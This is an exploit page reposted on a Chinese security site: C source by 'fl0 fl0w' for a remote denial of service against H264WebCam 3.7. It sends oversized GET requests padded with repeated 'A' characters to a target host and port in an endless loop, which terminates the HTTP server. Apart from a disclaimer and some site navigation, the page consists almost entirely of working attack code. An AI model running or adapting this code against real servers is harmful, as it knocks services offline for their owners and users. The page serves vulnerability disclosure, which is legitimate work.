首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
H264WebCam Boundary Condition Error
来源:vfocus.net 作者:fl0_fl0w 发布时间:2010-06-21  
/*
   DISCLAIMER
 
   THIS PROGRAM IS NOT INTENDED TO BE USED ON OTHER COMPUTERS AND IT IS DESTINED FOR PERSONAL RESEARCH ONLY!!!!
   Also the free software programs provided by fl0 fl0w may be freely distributed and that the disclaimer below is always attached to it.
   The programs are provided as is without any guarantees or warranty.
   Although the author has attempted to find and correct any bugs in the free software programs,
     the author is not responsible for any damage or losses of any kind caused by the use or misuse of the programs.
   The author is under no obligation to provide support, service, corrections, or upgrades to the free software programs.  
  
   Author:           fl0 fl0w
   Software:         H264WebCam  
   Dl link:          http://www.h264soft.com/downloads/H264WebCam_Setup.exe
  
   Afected Versions: 3.7
   Remote:           Yes
   Local:            No
   Class:            Boundary Condition Error
   Bug:              HTTP server process termination
   Afected software: Windows 98/Me/2000/XP/2003/Vista/7/NT
  
   Fix:              No fix   
   Compiler:         gcc version 3.4.4 (cygming special, gdc 0.12, using dmd 0.125) 
   Advice:           To avoid any problems under Windows use cygwin console.
 
   The .C code:
 */
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>
     typedef int i32;
     typedef char i8;
     typedef short i16;
#define BOF     "test" \
                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                           
#define SEND(sockets) if(send(sockets,sendbytes,sizeof(sendbytes),0)<0) \
                  shutdown(x,1)          
#define CONNECT(sockets) if(connect(sockets,(struct sockaddr*)&s,sizes)<0) \
                      return 0;
#define BUFFSZ 9999999                    
#define GET1 "GET /"
#define GET2 " HTTP/1.0\r\n" \
               "\r\n"
#define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n)
#define VER "3.7"
#define POCNAME "-H264WebCam PoC " VER
        void copy_str(i8*,i8*,i32);
        void get_arguments(i32,i8**);
        void error_handle(void);
  void mset(i8*,i32,i32);
  void syntax();
  i8* recvbytes,
       * sendbytes,
    * host,
    * option;
  i16    port; 
  i32    sizes,
      sockets,
      x;
   struct sockaddr_in s;
        i32 main(i32 argc,i8** argv){
      printf("%s",POCNAME);
      sendbytes=ALOC(i8,BUFFSZ);
   recvbytes=ALOC(i8,BUFFSZ);
   
   if(!sendbytes)
     error_handle();
   if(!recvbytes)
     error_handle(); 
    
            get_arguments(argc,argv);
             
   sizes=sizeof(s);    
            s.sin_family=AF_INET;
            s.sin_addr.s_addr=inet_addr(host);
            s.sin_port=htons(port);
            printf("-connection established\n");
        for(;;){ 
                x++;
                         sockets=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
          if(sockets<0){
          printf("line 81");
                         error_handle();
                        }             
        if(strcmp(option,"get")==0){  
                     copy_str(sendbytes,GET1,5);
        copy_str(sendbytes+5,BOF,sizeof(BOF));
           copy_str(sendbytes+5+strlen(BOF),GET2,17);
        }
       
        CONNECT(sockets);
                      
              SEND(sockets);
                     
        }
             printf("[*]Done!\n");
       return 0;
      }
        void copy_str(i8* v,i8* w,i32 len){
                   strncpy(v,w,len);
        }
  void get_arguments(i32 argc,i8** argv){
              if(argc<6){
                syntax();
          exit(0);  
     }else{
                     i32 i;
                     argc--;
                     for(i=1;i<argc;i++){
                         switch(argv[i][1]){
                               case'h':
                                       host=argv[++i];
                               break;
                               case'p':
                                       port=atoi(argv[++i]);
                               break;            
          case'o':
               option=argv[++i];
          break;    
                               default:{
                                       printf("error with argument nr %d:(%s)\n",i,argv[i]);
            exit(0);
                               }     
                        }               
                    }
              }
           }
          void error_handle(void){
                   perror("\nError");
                   exit(1);
          }
    void syntax(){
             i8 *help[]={"\torder of arguments: -h,-p,-o",
                "\t-h hostname",
                         "\t-p port(default 80)",
       "\t-o option(get)"
                };
                i32 i;
                size_t com=sizeof help / sizeof help[0];
                for(i=0;i<com;i++){
                   printf("%s\n",help[i]);
               }
    }    
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux/x86-64 - setuid(0) & chm
·PowerZip 7.21 (Build 4010) Sta
·Polymorphic Bindport 31337 wit
·Open&Compact Ftp Server <= 1.2
·Batch Audio Converter Lite Edi
·MoreAmp (.maf) Buffer Overflow
·Linux/x86-64 - Disable ASLR Se
·WebsiteBaker 2.8.1 CSRF Proof
·linux/x86 killall running proc
·Hacker Evolution Game: untold
·linux/x86 exit() polymorphic s
·Orbital Viewer v1.04 (.ov) Loc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved